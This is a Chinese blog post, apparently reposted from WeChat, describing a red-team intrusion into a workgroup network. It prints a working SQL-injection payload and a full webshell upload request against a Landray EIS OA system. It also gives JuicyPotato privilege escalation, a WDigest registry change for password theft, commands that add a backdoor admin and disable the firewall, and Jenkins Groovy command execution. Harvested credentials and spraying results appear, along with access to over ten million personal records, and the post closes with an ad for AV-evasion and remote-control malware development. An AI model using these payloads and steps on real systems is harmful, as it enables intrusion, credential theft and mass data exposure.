红队评估|非域内网深入详解

admin 2024年1月23日16:51:51评论55 views字数 4684阅读15分36秒阅读模式

0x01 前言

拿下的这个目标是进行,仅做记录切勿用于非法用途。

0x02 初始访问

通过Hunter去收集资产,发现存在Metabase以及蓝凌EIS协同平台。通过Nday先测试这个Metabase的 CVE-2023-38646 发现不存在,应该是已经修复。随即我们直接测试这个蓝凌EIS。历史的SQL注入以及RCE。

* SQL注入:/third/DingTalk/Demo/ShowUserInfo.aspx?account=1';WAITFOR+DELAY+'0:0:5'--  ##存在
* RCE  :/frm/frm_form_upload.aspx ##存在

这里发现其实SQL注入可以使用堆叠XP_CMDSHELL,不过我这里直接使用这个RCE任意文件上传拿了shell。

红队评估|非域内网深入详解

如果响应为500或者200即存在相关漏洞,如果响应为302则不存在漏洞。

红队评估|非域内网深入详解

那么如何复现该漏洞?首先请求一下首页获取相对应的Cookie值拼接FIOA_IMG_FOLDER=FI; Lang=zh-cn;然后再请求/frm/frm_form_upload.aspx

红队评估|非域内网深入详解

查找 __VIEWSTATE 值后构造上传请求

POST http://oa.xxx.com/frm/frm_form_upload.aspx HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=r25z3sdm2ndxgz2v4izjmmff; FIOA_IMG_FOLDER=FI; Lang=zh-cn;
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Length: 618

------WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Disposition: form-data; name="__VIEWSTATE"

获取的 __VIEWSTATE 值
------WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Disposition: form-data; name="__EVENTTARGET"

GB_SAVE
------WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Disposition: form-data; name="__EVENTARGUMENT"

保存
------WebKitFormBoundary4xAm1IjMRbc3Azqd
Content-Disposition: form-data; name="tpfile"; filename="xnwafhpcm.aspx"
Content-Type: image/png

hahahaha
------WebKitFormBoundary4xAm1IjMRbc3Azqd--
红队评估|非域内网深入详解

看到响应结果,成功获得Webshell

红队评估|非域内网深入详解

那我们就得开始收集凭证以及反弹shell到C2 (这里我使用POwershell成功反弹到CS当中)

红队评估|非域内网深入详解

0x03 信息收集与提权

我们先通过 ipconfig /all 来初步判断当前是否是域环境

红队评估|非域内网深入详解

既然是工作组环境那么我们就针对工作组环境来进行信息收集

#备忘录
whoami /user && whoami /priv
systeminfo
hostname
wmic OS get Caption,CSDVersion,OSArchitecture,Version
tasklist
wmic product get name,version

基本的命令就是这些,其实也可以使用我的工具 NetInfo 来进行初步的信息收集

https://github.com/cc7v/NetInfo

红队评估|非域内网深入详解
红队评估|非域内网深入详解

其他图片我就不一一截图的,总结收集到的信息:当前环境为工作组,是一台2012的机器并且有大量补丁,不过开启了3389端口以及不存在杀软。

那么这里通过得到的信息我们来进行权限提升,因为开启SeImpersonate权限并且没有打上相应的补丁,这里我使用 JuicyPotato

红队评估|非域内网深入详解

JuicyPotato 使用 CoGetInstanceFromIStorage 触发远程调用,CoGetInstanceFromIStorage 是一个 Windows API 函数,用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例,并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。Juicy Potato 支持指定任意本地端口,但是 RPC 一般默认为135端口,很少被修改

  • 使用 DCOM 时,如果以服务的方式远程连接,那么权限为 System,例如 BITS 服务
  • 使用 DCOM 可以通过 TCP 连接到本机的一个端口,发起 NTLM 认证,该认证可以被重放
  • LocalService 用户默认具有 SeImpersonate 和 SeAssignPrimaryToken 权限
  • 开启 SeImpersonate 权限后,能够在调用 CreateProcessWithToken 时,传入新的 Token 创建新的进程
  • 开启 SeAssignPrimaryToken 权限后,能够在调用 CreateProcessAsUser 时,传入新的 Token 创建新的进程

在这里 https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2012_Datacenter 选择 CLSID {8BC3F05E-D86B-11D0-A075-00C04FB68820} 进行提权

红队评估|非域内网深入详解

那么这个时候我们可以使用SearchAll以及Mimikatz等相关来收集一下该机器的凭证。由于该机器是2012的,所以我这里通过修改注册表以及强制锁屏来获取到了相对应的密码。当然方式不局限于这种,这里我只是使用了其中一种方式

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
红队评估|非域内网深入详解

0x04 横向移动

上面我获取到了密码,那么我们通过SearchAll再进行对整台机器的凭证收集。

红队评估|非域内网深入详解

将所有盘都收集一遍然后将结果下载在本地,搜索关键词进行整理

User ID=OA;Password=password01!
userName="admin" password="adminpassword"
User ID=sa;password=sa
password = 'Yukon90_'

那么加上刚才Mimikatz获取到的机器密码,那么我们现在就可以进行密码碰洒了。看看其他段下的机器是否存在相同的密码。

由于当前机器开启了3389端口,那我们直接连接上去。对所有可利用服务进行密码喷洒。(其实我还查找过当前机器的一些敏感文件以及浏览器数据,并没有什么收获)

# SSH
131.1.2.35  root  123456
131.1.2.37  root  123456
131.1.2.20  root  123456
131.1.2.237  root  123456

这里的结果全是弱口令,但也收获了四台root权限的Linux主机。这里我们使用Socks5代理中转使用Xshell登录即可。

红队评估|非域内网深入详解
红队评估|非域内网深入详解
# SMB
131.1.2.115  guest  guest
131.1.40.254  administrator  infobird
131.1.2.12  test  test

结果去重后发现三台主机存在弱口令。

红队评估|非域内网深入详解
# Mysql
131.1.2.37  root  password
131.1.14.35  root  123456
131.1.2.35  root  123456

三台Mysql机器里面存在大量的个人用户敏感数据,统计为 一千多万+ 个人用户信息

红队评估|非域内网深入详解
红队评估|非域内网深入详解

其他服务并没有喷洒出什么有价值的存在。那么我们在这里尝试 MS17-010 这类漏洞。

红队评估|非域内网深入详解

总共有两台主机存在MS17-010,并且都是Win2003机器。针对这个机器需要利用 Metasploit 中的 auxiliary/admin/smb/ms17_010_command 并且没办法反弹shell,只能一个命令一个命令的执行。

红队评估|非域内网深入详解

那么一行一行执行太麻烦,那么我们可以开启3389以及添加管理员账户

* net user admin1 hack123456 /add
* net localgroup Administrators admin1 /add
* REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDeny TSConnections /t REG_DWORD /d 00000000 /f 
* netsh advfirewall set allprofiles state off

那么将这些做完后我们就直接通过Sock5隧道连接过去即可

红队评估|非域内网深入详解

我们将整个B段存活的资产分类成不同的C段来进行WEB资产扫描以及指纹识别

红队评估|非域内网深入详解
红队评估|非域内网深入详解

图我就不一一粘贴出来,对不同C段扫描后进行整理。将WEB资产逐一访问并且尝试GetShell。

红队评估|非域内网深入详解

这里我们对Shiro的站点进行弱口令尝试,成功登陆后台。且在后台存在全站用户数据以及相关资料。

这里我们也通过弱口令登录到了Jenkins,实战当中,println "whoami".execute().text 经常无法执行。我们可以通过Jenkins的自身的语言写一个命令执行

def command = 'whoami'
def proc = command.execute()
proc.waitFor()
def output = proc.in.text
println(output)
红队评估|非域内网深入详解

以及这个内网的其他资产还存在Log4j2、CVE-2022-36883、CVE-2021-22205等其他漏洞。这里我就不把图给贴出来了。

0x05 结尾

对于工作组环境,我们要的就是不断横向拓展获取更多新的机器,并且提取凭证持续进行密码喷洒,这样才能拓展成果。

承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、PHP / JAVA / GO / Python 代码审计、渗透测试、应急响应、免杀/远控开发 等等的安全项目,请联系下方微信。

红队评估|非域内网深入详解

原文始发于微信公众号(不懂安全的校长):红队评估|非域内网深入详解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月23日16:51:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队评估|非域内网深入详解http://cn-sec.com/archives/2422439.html

发表评论

匿名网友 填写信息